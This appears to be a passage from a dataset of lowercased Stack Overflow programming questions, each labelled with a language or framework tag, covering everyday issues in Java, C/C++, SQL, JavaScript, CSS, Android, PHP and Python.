getvalue(){      return this.value;  }  public void setvalue(int newvalue){      if(newvalue &gt; 0 &amp;&amp; newvalue &lt; this.upperlimit){          this.value = newvalue;      }   } } </code></pre>,java
multiple #define within #ifdef or #ifndef  this is a simple question  but i have not ran across similar code before to know the answer. basically  am i allowed to have more than two #define in an #ifdef or #ifndef statement  for a basic example:   <pre><code>    #ifdef __gnuc__         #define hello(x) x         #define world(y) y     #else         #define __attribute__(x)         #define expect(expression  value) (expression)     #endif </code></pre>   thank you,c++
is java tobinarystring incorrect   i have this code:   <pre><code>    string hexcode =  a1e1f1 ;     int länge = hexcode.length ();     int i;      for (i = 0; i &lt;= länge - 1 ; i ++) {      char pos = hexcode.charat(i);          string bincode = integer.tobinarystring(pos);      system.out.print ( bincode);     </code></pre>   when i run it i get this result:    <pre><code>100000111000110001011100011000110110001  </code></pre>   which i don t believe is correct. shouldn t it be:   <pre><code>101000011110000111110001 </code></pre>   are these results actually the same  why does java give me the first result,java
how was this .js archive encrypted   how was this code encrypted  a former webmaster left me code encrypted this way. i do not know how to solve.    code:   <pre><code>function setcookie(a  b  c) {     var d = new date();     d[_0x6fff[1]](d[_0x6fff[0]]() + 24 * c * 60 * 60 * 1e3);     var e = _0x6fff[2] + d[_0x6fff[3]]();     document[_0x6fff[4]] = a + _0x6fff[5] + b + _0x6fff[6] + e; }  function getcookie(a) {     var b = a + _0x6fff[5];     var c = document[_0x6fff[4]][_0x6fff[8]](_0x6fff[7]);     for (var d = 0; d &lt; c[_0x6fff[9]]; d++) {         var e = c[d];         while (_0x6fff[11] == e[_0x6fff[12]](0)) e = e[_0x6fff[10]](1);         if (e[_0x6fff[13]](b) != -1) return e[_0x6fff[10]](b[_0x6fff[9]]  e[_0x6fff[9]]);     }     return _0x6fff[14]; } </code></pre>,javascript
highlight all text in textarea  i want to select all of the text inside of a textarea when a user clicks the textarea. i tried <code>onclick= this.focus() </code>  but this didn t do anything. i tried <code>onclick= this.highlight() </code>  but this caused an error. what should i do,javascript
what error does  unexpected tivar  expecting $end  point to   i am just trying to enter the command <code>$ rvm use 1.9.3@rails3tutorial2nded --create --default</code> into interactive ruby (command taken from michael hartl s tutorial).      i keep getting error messages about an unexpected tivar.  after several attempts to tweak the command  i seem to have pared the error message down to:  <code>syntax error  unexpected tivar  expecting $end.</code>  so now what,ruby-on-rails
importing list from java.awt or java.utils  i am new to java so maybe this is very trivial question.    but i just noticed that when i declared    <pre><code>list mylist = new arraylist(); </code></pre>   eclipse ide gave me bunch of options for  list  error.    mainly.. the top 2 one got me curious.    what is the difference if i use java.awt vs java.utils,java
android send data from android to the server as bundle  i know how to send data from android to the server. one example could be using the below snippet code. however  my concern is that it is time consuming to send all data one by one especially if you need to send a lot of data. is there a better way to make a bundle (compact) the data that you intend to send and send them as a whole at once          <pre><code>arraylist&lt;string&gt; stringdata = new arraylist&lt;string&gt;(); defaulthttpclient httpclient = new defaulthttpclient(); responsehandler &lt;string&gt; resonsehandler = new basicresponsehandler(); httppost postmethod = new httppost(serverurl);  jsonobject json = new jsonobject(); json.put( item1  item1); json.put( item2  item2); json.put( item3  item3); postmethod.setentity(new bytearrayentity(json.tostring().getbytes( utf8 ))); string response = httpclient.execute(postmethod resonsehandler); </code></pre>,android
the tilde (~) in the one of the images doesn t get resolved  this is a funny one. i have a page using knockoutjs. everything works fine apart from one of the images in the page that doesn t show.   <h2>my html</h2>  <pre><code>            &lt;div class= cycleritem &gt; @*views and visitors*@                 &lt;div class= cyclerfilter &gt;                     &lt;img class= toggleimg  src= ~/content/imgs/city.png  width= 30  height= 30  /&gt;                 &lt;/div&gt;                 &lt;div class= cyclerfiltertext &gt;                     &lt;div&gt;                         &lt;a id= modal-launcher4  &gt; business unit &lt;/a&gt;                           &lt;div id= modal-content4  class= arrow_box &gt;                             &lt;div id= scroll4  class= scroll4 &gt;                                 &lt;div id= container3column  &gt;                                     &lt;div id= primary1 &gt;                                          &lt;p&gt;business unit&lt;/p&gt;                                         &lt;ul&gt;                                             &lt;li&gt;all&lt;/li&gt;                                         &lt;/ul&gt;                                         &lt;ul data-bind=  foreach : businessunits.businessunitslist &gt;                                             &lt;li data-bind=  text : title   click : gotofunctions  &gt;&lt;/li&gt;                                         &lt;/ul&gt;                                     &lt;/div&gt;                                 &lt;/div&gt; @* container ends*@                             &lt;/div&gt;   @* scroll *@                         &lt;/div&gt;  @*modul content 4 4 *@                       &lt;/div&gt;                 &lt;/div&gt;   @* cykler filter text*@                 &lt;div class= cyclerfilter &gt;                     &lt;img class= toggleimg  src= ~/content/imgs/globe_alt.png  width= 30  height= 30  /&gt;                 &lt;/div&gt;                 &lt;div class= cyclerfilter &gt;                     &lt;img class= toggleimg  src= ~/content/imgs/globe_alt.png  width= 30  height= 30  /&gt;                 &lt;/div&gt;                 &lt;div class= cyclerfiltertext &gt;                     geographies                 &lt;/div&gt;             &lt;/div&gt; </code></pre>  <h2>my html rendered on the client:</h2>  <pre><code>                            &lt;div class= cycleritem &gt;                  &lt;div class= cyclerfilter &gt;                     &lt;img class= toggleimg  src= /content/imgs/city.png  width= 30  height= 30  /&gt;                 &lt;/div&gt;                 &lt;div class= cyclerfiltertext &gt;                     &lt;div&gt;                         &lt;a id= modal-launcher4  &gt; business unit &lt;/a&gt;                           &lt;div id= modal-content4  class= arrow_box &gt;                             &lt;div id= scroll4  class= scroll4 &gt;                                 &lt;div id= container3column  &gt;                                     &lt;div id= primary1 &gt;                                          &lt;p&gt;business unit&lt;/p&gt;                                         &lt;ul&gt;                                             &lt;li&gt;all&lt;/li&gt;                                         &lt;/ul&gt;                                         &lt;ul data-bind=  foreach : businessunits.businessunitslist &gt;                                             &lt;li data-bind=  text : title   click : gotofunctions  &gt;&lt;/li&gt;                                         &lt;/ul&gt;                                     &lt;/div&gt;                                     &lt;div id= content1 &gt;                                          &lt;p&gt;function&lt;/p&gt;                                         &lt;ul&gt;                                             &lt;li&gt;all&lt;/li&gt;                                         &lt;/ul&gt;                                         &lt;ul  data-bind=  foreach : functions.functionslist &gt;                                             &lt;li  data-bind=  text : title   click : gotodepartments &gt;&lt;/li&gt;                                         &lt;/ul&gt;                                     &lt;/div&gt;                                      &lt;div id= secondary1 &gt;                                          &lt;p&gt;department&lt;/p&gt;                                         &lt;ul&gt;                                             &lt;li&gt;all&lt;/li&gt;                                         &lt;/ul&gt;                                         &lt;ul data-bind=  foreach : departments.departmentslist &gt;                                             &lt;li data-bind=  text : title &gt;&lt;/li&gt;                                         &lt;/ul&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                              &lt;/div&gt;                            &lt;/div&gt;                         &lt;/div&gt;                 &lt;/div&gt;                    &lt;div class= cyclerfilter &gt;                     &lt;img class= toggleimg  src= ~/content/imgs/globe_alt.png  width= 30  height= 30  /&gt;                 &lt;/div&gt;                                     &lt;div class= cyclerfilter &gt;                     &lt;img class= toggleimg  src= /content/imgs/globe_alt.png  width= 30  height= 30  /&gt;                 &lt;/div&gt;                  &lt;div class= cyclerfiltertext &gt;                     geographies                 &lt;/div&gt;             &lt;/div&gt; </code></pre>   as you can see there only one <strong><em>small</em></strong> difference  one of the image have the source where the tilde (~) didnøt get resolved inot the right path.    it s only that one image in that position  if i change the source to another path it still does not work  but as you can see the next image is exactly the same but it works...    something to do with mvc messing around because of the knockout code  or maybe just a simple error in my html that make mvc get crazy  first coming first serving. :),html
ora-00907: missing right parenthesis error <pre><code>create table dbo.photolibrary (     photolibraryid int identity (1  1) primary key      imagename      varchar(100)      photo          varbinary(max) ) </code></pre>   while using the above code in sql i am getting the error help me,sql
auto expand and space out li items  so  let s say i have a div that s 780px wide  with 6 list items in it.    these list items can range anywhere from 10px to 130px wide.    i d like for the list items to use up the entire 780px and space them out evenly with margin (automatically of course).    i ve tried table  but it didn t keep the list items original width.    html   <pre><code>&lt;ul class= foo &gt;  &lt;li&gt;1&lt;/li&gt;  &lt;li&gt;2&lt;/li&gt;  &lt;li&gt;3&lt;/li&gt;  &lt;li&gt;4&lt;/li&gt;  &lt;li&gt;5&lt;/li&gt;  &lt;li&gt;6&lt;/li&gt; &lt;/ul&gt; </code></pre>   css   <pre><code>.foo{   display:table;   table-layout:fixed; } .foo li{   padding:5px;   display:table-cell; } </code></pre>,css
my text look behind background position absolute  i have some code that want to make navigation upper than slider bg. so i insert <code>position:absolute</code> to .slider   <pre><code>&lt;div class= nav &gt;         nav &lt;/div&gt; &lt;div class= slider &gt;&lt;img src= http://lorempixel.com/400/200/ &gt;&lt;/div&gt; &lt;div class= content &gt;content&lt;/div&gt;    .nav{     z-index:99999;     color:#f00;     background:transparant; } .slider{     z-index:1;     top:0 !important;     position:absolute;     width:100%;     height:100%;     left:0;     right:0; } </code></pre>   the problem is  my content become after my nav so  my content is below my slider and not see it. how to anticipate this problem which use position absolute so my web still look   <pre><code>[[nav]slider  ] [content] </code></pre>   fiddle: <a href= http://jsfiddle.net/luisan/dx49k/  rel= nofollow >http://jsfiddle.net/luisan/dx49k/</a>,css
what is the difference between list<t> and list(of t) in c#  i am confused why microsoft documentation sometimes refer to the list class as <code>list&lt;t&gt;</code> and sometimes <code>list(of t)</code>.,c#
cllocationspeed issue  i m trying to get my code to return the velocity of the device in miles per hour with the following:   <pre><code>double speed = newlocation.speed; nsstring *speedyspeed = [nsstring stringwithformat:@ %d   (speed*2.2369)]; yourspeed.text = speedyspeed; </code></pre>   the  speed*2.2369  is supposed to correct for the fact that the speed is returned in meters/second rather than miles/hour like i want.  regardless  i m getting values of  like  -173498723 instead of normal values.  i m clearly doing something wrong.  the speed value string is then assigned to output to my uilabel called  yourspeed .    any suggestions     thanks!,objective-c
sqlite data file encrypt  i hope to encrypt sqlite file which store my app data. is there a simple way to do this     welcome any comment.    thanks    interdev,iphone
how to implement linked list deletion  <pre><code>#include&lt;stdio.h&gt;  struct node {     int info;     struct node *next; };  typedef struct node *nodeptr; nodeptr i; nodeptr q; nodeptr p; nodeptr *plist;  nodeptr getnode(void) {     nodeptr p;     p = (nodeptr) malloc(sizeof(struct node));     return p; }  void freenode(nodeptr p) {     free(p); }   int main() {     int i;     nodeptr *k;     int a;     int *px;     int r;     nodeptr end;     nodeptr s;     nodeptr start;      p = getnode();     q = getnode();     q = start;     p = end;      for (i = 0; i &lt; 6; i++) {         printf( enter value );         scanf( %d   &amp;r);         p = getnode();         p-&gt;info = r;          q-&gt;next = p;          q = q-&gt;next;      }      q = start;      while ((q-&gt;next) != null) {         printf( n%d   (q-&gt;next)-&gt;info);         q = q-&gt;next;     }      scanf( %d   &amp;a);     end = getnode();     end-&gt;info = a;     end-&gt;next = null;      for (q = start; q-&gt;next != null; q = q-&gt;next)         ;      q-&gt;next = end;     q = start;      while ((q-&gt;next) != null) {         printf( n%d   (q-&gt;next)-&gt;info);         q = q-&gt;next;     }      for (q = start; q-&gt;next-&gt;next != null; q = q-&gt;next)         ;      freenode(q-&gt;next);     q-&gt;next = null;     q = start;      while (q-&gt;next != null) {         printf( n%d   (q-&gt;next)-&gt;info);         q = q-&gt;next;     }       return 0; } </code></pre>   in this program alist is made and an element is inserted at the end in this the element is getting deleted but the list is not shown properly only last two elements are getting displayed please help so as to show the whole list with element deleted,c
size of derived class object in virtual inheritance <pre><code>class base { };  class der_1:public base { };  class der_2:virtual public base { };  int main() {     der_1 a;  //size of a is 1     der_2 b;  //size of b is 4     why     cout&lt;&lt;sizeof(a)&lt;&lt;endl;     cout&lt;&lt;sizeof(b)&lt;&lt;endl;     return 0; } </code></pre>   object b internally contains virtual pointer  so its size is 4 instead of 1(like a). but what this virtual pointer is  pointing to,c++
not able to understand .net code  is there any idea what he is doing in the below code at line<br>  <code>chartseries.additem(new chartseriesitem(listdata[i].x  listdata[i].y));</code>       i took this code from one forum.<br> <a href= http://www.telerik.com/community/forums/aspnet-ajax/chart/performance-problem-on-line-chart.aspx  rel= nofollow noreferrer >http://www.telerik.com/community/forums/aspnet-ajax/chart/performance-problem-on-line-chart.aspx</a><br> i was not able to understand what kind of data holder it is      am pulling the data from in dataset format  if i could bind my dataset with listdata  i would acheive this development. but am not undestanding how i need to make this binding.    i have tried as below but didn t worked and throghing an error  please find the attached.    <pre><code>dim listdata as new datalist  listdata.datasource = ds.tables.item(0) listdata.databind()   </code></pre>   <img src= https://i.stack.imgur.com/cgezs.png  alt= enter image description here >      <strong>original code took from forum</strong>   <pre><code>chartseries chartseries = new chartseries( altitude   chartseriestype.line);  chartseries.appearance.showlabels = false;  incrementcount = 1;   for (int i = 0; i &lt; listdata.count; i = i + incrementcount)      {         chartseries.additem(new chartseriesitem(listdata[i].x  listdata[i].y));      }  radchart2.addchartseries(chartseries); radchart2.plotarea.xaxis.axislabel.textblock.text =  distance (miles) ;  radchart2.plotarea.yaxis.axislabel.textblock.text =  yaxislabel ; </code></pre>,.net
php socket_bind(): unable to bind address [10049]  i am using socketserver.class.php in wamp and trying to connect real ip 128. .. and port :8010 but process end with    <blockquote>    warning: socket_bind(): unable to bind address [10049]: the requested address is not valid in its context. in c:\wamp\www\tcpclient\socketserver.class.php on line 55  </blockquote>   with packet sender i can see response coming from each 1 second interval     any idea,php
how does angularjs respond to a form value being updated in javascript   i don t use angular regularly  but i understand that one of the key features is that when data is updated on a form element  it is automatically updated in the model.    if you are instead using a library like jquery  you must manually attach an event to the form input that updates the model when it is changed  as in <code>$( #myinput ).on( change   updatemodel);</code>    although the above handler will be fired when myinput is changed by the user  it will not be fired if myinput is changed by javascript code such as <code>$( #myinput ).val( hello world );</code>    my question is  how does angular know when a form input is changed in javascript code,angularjs
.net system call performance  in .net  are calls to functions in the system namespace in general much slower than normal function calls   i know that  as a general fact   system calls are slow.   however  in this case  i am concerned not with system calls but with calls to the  system  namespace.    for example  consider the situation where i have an array of 10000 sentences  and i want to figure out which of them start with the word  computer.  would i be better off making 10000 calls to the <code>system.text.regularexpressions</code> namespace   or would it be significantly better to implement a    <code>startswithprefix(byval prefix as string  byval str as string) as boolean</code>    function     granted  regexes are slow in their own right  but i think that my question is still meaningful.,.net
ng-repeat with a filter and dual order by  i have an array of people i need to filter and order by against two criteria. my filter is simple in that if the name contains what they re typing let it through. for grouping  i want to group all of the people with clockedin=1 first  and then within those two groups i want to order by last name.    my filter is working perfectly but i cannot seem to get orderby to work at all no matter what i do...    full jsfiddle: <a href= http://jsfiddle.net/joshuaohana/82k76uj0/1/  rel= nofollow >http://jsfiddle.net/joshuaohana/82k76uj0/1/</a>  shows all helper functions and whatnot    the repeat i m trying to setup:   <pre><code>&lt;div ng-repeat= person in people | filter:namefilterfn | orderby:  +person.clockedin  | orderby: -person.userlastname   &gt;   &lt;p&gt;{{person.username}}&lt;/p&gt;   &lt;p&gt;{{person.clockedin}}&lt;/p&gt; &lt;/div&gt; </code></pre>   for an ng-repeat  how do i...   <ol> <li>filter against a function</li> <li>first sort by a boolean in the ng-repeat</li> <li>secondly sort against the user s last name</li> </ol>,angularjs
can i have two form s in diffrent places which triggers one request to server   i am beginner to html. i found there is something like <code>form</code> which is used to pass data to server. i know what is the basic usage.    last time i cut children of my initial <code>form</code> between two html files (some reorganization to include later in jsp). personally i don t like to start tag <code>&lt;form&gt;</code> in one file  and close the <code>&lt;/form&gt;</code> in other file. and i know i could do something like this (i will use this probably):   <pre><code>&lt;form&gt;     // include file1     // include file2 &lt;/form&gt; </code></pre>   but now i am just thinking... is it possible to do something totally different  like this:   <pre><code>    // first file     &lt;form name= input  action= index.html  method= get &gt;         &lt;label for= iduser &gt;user:&lt;/label&gt;&lt;input id= iduser  type= text  name= user &gt;     &lt;/form&gt;      // second file     &lt;form name= input &gt;         &lt;label for= iddata &gt;data:&lt;/label&gt;&lt;input id= iddata  type= text  name= data &gt;         &lt;input type= submit  value= submit &gt;     &lt;/form&gt; </code></pre>   i want to <code>submit</code> both inputs with button inside second form. i know above doesn t work even if i set the same <code>name</code> attribute. but maybe i missed something,html
single table four columns into 8 columns  i have below single table with 5 rows and 4 columns  i wanted to have the result set of 8 columns  tried a inner join on same table but did not get the expected result  is there any way to get selected records from the below query result set     <pre><code>declare @customerdata table (customernum int      vehiclename char(20)      vehiclepurchaseyear char(4)      vehicleprice char(10)) insert into @customerdata(customernum vehiclename vehiclepurchaseyear vehicleprice) values (1000  toyoto camry   2012    14500 )      (1000  nissan ultima   2014   12000 )      (1500  honda accord   2012   15000 )      (1500  honda civic   2012   13000 )      (1800  toyoto rav4   2012   16500 ) select x.customernum as customernum      x.vehiclename as vehiclename1         x.vehiclepurchaseyear as  vehiclepurchaseyear1       x.vehicleprice        as  vehicleprice1       y.vehiclename as vehiclename2         y.vehiclepurchaseyear as  vehiclepurchaseyear2      y.vehicleprice        as  vehicleprice2 from      (select customernum          vehiclename          vehiclepurchaseyear          vehicleprice      from @customerdata ) x inner join      (select customernum          vehiclename          vehiclepurchaseyear          vehicleprice      from @customerdata ) y on x.customernum = y.customernum     </code></pre>   result not expected :   <pre><code>1000    toyoto camry            2012     14500      toyoto camry            2012     14500     1000    toyoto camry            2012     14500      nissan ultima           2014    12000      1000    nissan ultima           2014    12000       toyoto camry            2012     14500     1000    nissan ultima           2014    12000       nissan ultima           2014    12000      1500    honda accord            2012    15000       honda accord            2012    15000      1500    honda accord            2012    15000       honda civic             2012    13000      1500    honda civic             2012    13000       honda accord            2012    15000      1500    honda civic             2012    13000       honda civic             2012    13000      1800    toyoto rav4             2012    16500       toyoto rav4             2012    16500      </code></pre>   expected result  :   <pre><code>1000    toyoto camry            2012     14500      nissan ultima           2014    12000 1500    honda civic             2012     13000      honda accord            2012    15000  1800    toyoto rav4             2012 </code></pre>,sql
matching complex patterns with intent filters and data  my intent filter looks like this:   <pre><code>&lt;intent-filter&gt;     &lt;action android:name= android.intent.action.view  /&gt;     &lt;action android:name= android.intent.action.sendto  /&gt;     &lt;category android:name= android.intent.category.default &gt;&lt;/category&gt;     &lt;category android:name= android.intent.category.browsable  /&gt;     &lt;data android:scheme= http  android:host= mywebsite  android:pathpattern= /oauth/authorize .*oauth_verifier=.*  /&gt; &lt;/intent-filter&gt; </code></pre>   however this fails to match.    if i remove the <strong> </strong> and everything after it  it matches but the site i am matching uses that url several times  and the only one i am interested in is the oauth_verifier.    is there anyway to make an intent filter match the bit (query parameters ) after the <em>/oauth/authorize</em>,android
ordering a mysql query with joins and groups  i have this mysql query:   <pre><code>select * from customer c  join ehrdemographic ehd on ehd.cxid = c.customerid   join custprimaryweight cpw on cpw.cxid = c.customerid   where c.customerid =22703  group by c.customerid  order by cpw.custprimaryweightid desc </code></pre>   this doesn t really work correctly as the custprimaryweight table has multiple entries and it s simply joining the first entry and not the more recent one as the order statement doesn t seem to do anything.    any ideas,mysql
how to handle   java.io.filenotfoundexception: no content provider  error i android studio  i am trying to open a pdf file from firebase storage to my app. this is my code for getting file url.   <pre><code>storagereference fileref=mstorage.getreferencefromurl(selecteditem.getfileurl()); string fileref_string=fileref.tostring(); uri file_uri=uri.parse(fileref_string); </code></pre>   but it is showing this error:   <blockquote>    java.io.filenotfoundexception: no content provider: gs://funn-30a97.appspot.com/uploads/1531599733740.pdf  </blockquote>   how to deal with this     code for uploading file: mfileuri is url of file from device.   <pre><code>if (mfileuri != null) {         storagereference filereference = mstorageref.child(system.currenttimemillis() +  .  + getfileextension(mfileuri));         filereference.putfile(mfileuri)                 .addonsuccesslistener(new onsuccesslistener&lt;uploadtask.tasksnapshot&gt;() {                     @override                     public void onsuccess(uploadtask.tasksnapshot tasksnapshot) {                         handler handler = new handler();                         handler.postdelayed(new runnable() {                             @override                             public void run() {                                 mprogressbar.setprogress(0);                             }                         }  5000);                         toast.maketext(upload.this   upload successful   toast.length_long).show();                         uploading uploading = new uploading(medittextfilename.gettext().tostring().trim()  tasksnapshot.getdownloadurl().tostring());                         string uploadid = mdatabaseref.push().getkey();                         mdatabaseref.child(uploadid).setvalue(uploading);                       }                 })                 .addonfailurelistener(new onfailurelistener() {                     @override                     public void onfailure(@nonnull exception e) {                         toast.maketext(upload.this  e.getmessage()  toast.length_short).show();                      }                 })                 .addonprogresslistener(new onprogresslistener&lt;uploadtask.tasksnapshot&gt;() {                     @override                     public void onprogress(uploadtask.tasksnapshot tasksnapshot) {                         double progress = (100.0 * tasksnapshot.getbytestransferred() / tasksnapshot.gettotalbytecount());                         mprogressbar.setprogress((int) progress);                     }                 }); </code></pre>   uploading class:   <pre><code>public class uploading { private string mname; private string mfileurl; private string mkey;  public uploading() {  }  public uploading(string name  string fileurl) {     if (name.trim().equals(  )) {         name =  no name ;     }     mname = name;     mfileurl = fileurl; }  public string getname() {     return mname; }  public void setname(string name) {     mname = name; }  public string getfileurl() {     return mfileurl; }  public void setfileurl(string url) {     mfileurl = url; }  @exclude public string getkey() {     return mkey; }  @exclude public void setkey(string key) {     mkey = key; } </code></pre>   },android
hiding the topbar  i have tried 3 ways of hiding the top navigation bar but its not hiding.    <ol> <li> in viewdidappear i have tried    <pre><code>[self.navigationcontroller settoolbarhidden:yes]; </code></pre></li> <li> conformed to uinavigationcontrollerdelegate with this code     <pre><code>(void)navigationcontroller:(uinavigationcontroller *)navigationcontroller               willshowviewcontroller:(uiviewcontroller *)                         viewcontroller animated:(bool)animated {    bool shouldhide = [viewcontroller.toolbaritems count] == 0; [navigationcontroller settoolbarhidden:shouldhide animated:animated];   } </code></pre></li> </ol>   topbarhidden is also set to true in the inspector and when im loading the the nib into the uiview like this...   <pre><code>uinavigationcontroller *nav_instructions = [[uinavigationcontroller alloc] initwithrootviewcontroller:instructions];  [nav_instructions settoolbarhidden:yes]; [nav_instructions setmodaltransitionstyle:uimodaltransitionstylepartialcurl]; </code></pre>   how do i hide to top bar,objective-c
what does this c code do [duff s device]  <pre><code>void send(int * to  const int* from  const int count) {     int n = (count+7) / 8;     switch(count%8)     {        case 0: do { *to++ = *from++;        case 7:      *to++ = *from++;        case 6:      *to++ = *from++;        case 5:      *to++ = *from++;        case 4:      *to++ = *from++;        case 3:      *to++ = *from++;        case 2:      *to++ = *from++;        case 1:      *to++ = *from++;         } while (--n&gt;0);     } } </code></pre>,c++
iphone- marking an icon or button with a number to indicate new activity like mail app  i am wanting to display a number on top of an icon when a user receives a new message  similar to the mail app and sms app when new messages are received (the red number on top of the icon) (btw i want to do it inside my app not on the icon on the home screen)... i know i  can just have a  little image with every number and draw it on top of an icon or button  but i was wondering if there was any built in api that can do this already      thanks    daniel,iphone
how to save a fileupload to a viewstate after postback   i have a fileupload and multy control on page. all controls are located inside the updatepanel other than fileupload.    after post back  i save fileupload in a viewstate.   <pre><code>private fileupload files {     get { return (fileupload)viewstate[ files ]; }     set {         viewstate[ files ] = value;     } }   . . . if (imagefileupload.hasfile)  {     files = imagefileupload;  } </code></pre>   but i get error    <blockquote>    type  system.web.ui.webcontrols.fileupload  in assembly  system.web  version=4.0.0.0  culture=neutral  publickeytoken=b03f5f7f11d50a3a  is not marked as serializable.  </blockquote>,asp.net
angular scope changes with file input type  i am calling a preview method as follows   <pre><code>&lt;span class= error-message &gt;{{filesnotselected}}&lt;/span&gt;  &lt;input type= file  onchange= angular.element(this).scope().previewfile( firstlevel ) &gt; </code></pre>   in my script i am changing a scope variable as follows   <pre><code> $scope.previewfile = function (uploadtype) {       $scope.filesnotselected =  selected ;  } </code></pre>   i am unable to get the changed value to be displayed in the ui. can someone please help me find the issues. it seems scope get changed.,angularjs
php voting code works on 5.2.5 but not on 5.2.11 anymore  ok  so a little while back i had some help writing some php voting code  it worked just fine after i upgraded my server to use the latest version of php. however now i have switched servers  and the php isn t as up to date as the other one. anyways here s my code:   <pre><code>&lt; php if(!file_exists( vote/1u.txt )){ file_put_contents( vote/1u.txt    +1 ); } if($_get[ click ] ==  up1 ){ file_put_contents( vote/1u.txt   ((int) file_get_contents( vote/1u.txt )) + 1); header( location:   . $_server[ script_name ]); die; }  &gt; </code></pre>   execute and display:   <pre><code>&lt;a href=  click=up1 &gt;&lt;img src= images/thumbsup.jpg  width= 40px border= 0 &gt;            &lt;/a&gt;&lt;br&gt;votes: &lt; php echo file_get_contents( vote/up1.txt );  &gt; </code></pre>   now when on my other server (php version 5.2.5) this code worked great! however on my new server the php version is 5.2.11  and because of this the code won t work. my question is  is there any way to make this more compatible with an earlier version of php  or to write completely new code that will work just like this one  or is there a way to tell my servers to use php 5.2.5+  i m using cpanel x admin panel.     <em>i have set the text file permissions to 777 and still nothing!</em>,php
how can i select from many table to one table   i want to count data in table 8 table by date and result it as one table    <pre><code>______|| table 1 || table 2 || table 3 || table 4 || date1 || 7 000   || 8 000   || 9 000   || 10 000  ||   date1 || 7 000   || 8 000   || 9 000   || 10 000  ||   </code></pre>,sql
how to insert a div element with facebook id attribute using javascript   i m trying to insert a div with an id attribute (javascript) into a facebook page.   <pre><code>element.innerhtml= &lt;div&gt;test&lt;/div&gt; --&gt; works! element.innerhtml= &lt;div id= container &gt;test&lt;/div&gt; --&gt;it does not work! </code></pre>   can someone explain to me why i can not put the id attribute in the div . thank you.,javascript
iphone screen dimensions considerations  sorry  i feel this will be pretty basic answer.    as i understand it the iphone screen is 320 x 480 points.    the status bar is 20 points high.    does this not mean that your working space should be 460 points high     it s just that when i drag out an imageview  even with the status bar visible  the panel on the right says it is 480 points high.    also  how best to allow for extra bars at the top  (such as personal hotspot connected)  i believe they push the screen down  should all images be set to aspect fit or something,ios
how to show popup alert view when apps run first time   everyone  i m working in iphone. i ve a problem that i want to show a alert view popup when my apps run first time in iphone. i m not getting how to do this. please someone help me.,iphone
why does `__all__` break function annotations   i had the following files:   <pre><code># package/sub1/obj1.py class obj1:     def __init__(self  spam:int):         self.spam = spam  # package/sub2/obj2.py from ..sub1.obj1 import obj1 class obj2(obj1):     pass </code></pre>   after implementing the answer to <a href= https://stackoverflow.com/questions/38907151/what-do-i-need-to-place-in-my-init-py-files-to-simplify-this-packages-int/38907428#38907428 >this question</a> by placing <code>__all__ = [ sub1    sub2 ]</code> in <code>package/__init__.py</code>  and <code>from .obj* import obj*</code> in the other two subfolders  <code>__init__.py</code>  i got invalid syntax errors pointing at the function annotation colon when i attempted to import the package. removing the function annotations fixed the errors  as did removing the assignment to <code>__all__</code>.    why,python
capture image through canon camera using java on linux os  i want to create a java program that will access the camera and display the images to be shot on computer screen. java program will handle the camera for image capture or recording video.    is there any free api available for this purpose that supports linux os as well  i want to use canon t3 dslr camera.    please suggest me.,java
python not catching exception  for some reason my code is not catching an exception when i throw it. i have   <pre><code>def trim_rad(rad):     ...      if not modrad.shape[0]:         raise indexerror( couldn t find main chunk )     return modrad  thetas </code></pre>   then later i call that function:   <pre><code>try:     modrad  thetas = trim_rad(rad) except indexerror( couldn t find main chunk ):     return 0 </code></pre>   yet i still get a traceback with that exception. what am i doing wrong,python
mysql delete from ranged dates  hello i m trying to delete all data ranging from <strong>04/15/2014</strong> to <strong>03/16/2016</strong>. my problem is that the data type for the dates is <code>varchar</code>. the format is m/d/y. my current sql code is here    <pre><code>delete from ending_inventory where str_to_date(dater   %m/%d/%y )  between  04/15/2014  and  03/16/2016  </code></pre>   and it s not doing anything.    is there a way to do this without changing the data type to <code>date</code>  because i already have tons of data..,mysql
how to have nested loop inside foreach to calculate car rental rate and days  i m working on a car rental website. i managed to display relevant information for each car using foreach associative array. now the problem is in displaying the rental days and amount in a table for each car...    for instance:   <pre><code> car 1  image for car 1  days 1    7     30  amt  100  300    1500   car 2  image for car 2  days 1    7     30  amt  250  400    3500 </code></pre>   and so on.... how can i achieve this with this code    <pre><code>&lt; php //select query  $query_showall =  select rental.* car_name.* gallery.* car_make.* from rental car_name gallery car_make  where car_name.carname_id=gallery.carname_id and car_name.carmake_id=car_make.carmake_id        and rental.carname_id=car_name.carname_id group by rental.carname_id ;  //while loop $result_showall = mysql_query($query_showall) or die(mysql_error()); while ($row_showall = mysql_fetch_array($result_showall)) {     $carmake_all = $row_showall[ carname ];     $carmake_1[$row_showall[ carname_id ]][] = $row_showall;     $car_id[] = $row_showall[ carname_id ]; }  // foreach to display all info  foreach ($carmake_1 as $make_1 =&gt; $name_1) {      foreach ($name_1 as $n_1) {         if (isset($n_1[ detail ])) {             $detail_1 = $n_1[ detail ];             $detail_1 = nl2br($detail_1);         } else {             $detail_1 =  car detail ;         }          &gt;         &lt;tr&gt;             &lt;td class= carname &gt;&lt;h2&gt;&lt; php echo $n_1{ carname };  &gt;&lt;/h2&gt;&lt;/td&gt;             &lt;td rowspan= 2  valign= top  class= cardetail &gt;&lt; php echo $detail_1;  &gt;                 &lt;br/&gt;&lt;br/&gt;                  &lt;a class= book  href= book_now.php name_id=&lt; php echo $n_1[ carname_id ];  &gt; &gt;book &lt; php echo $n_1[ carname_id ];  &gt;&lt;/a&gt;     &lt;/td&gt;&lt;/tr&gt;    echo &lt;tr&gt;&lt;td class= img &gt;{$n_1[ carname_id ]}&lt;img src= management/uploads/{$n_1[ carmake_id ]}/{$n_1[ gallery ]}  width= 400  height= 200 &gt; ; &gt;     &lt;/td&gt;&lt;/tr&gt;  &lt;tr&gt;      &lt;td&gt;         .....here to display days and amounts for each car....     &lt;/td&gt; &lt;/tr&gt; </code></pre>   database structure for rental table    rental_id  rental_days rental_amount carname_id<br/>    1   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;        1       &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;      50       &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;        101<br/> 2      &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;        7      &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;   &nbsp;     &nbsp;     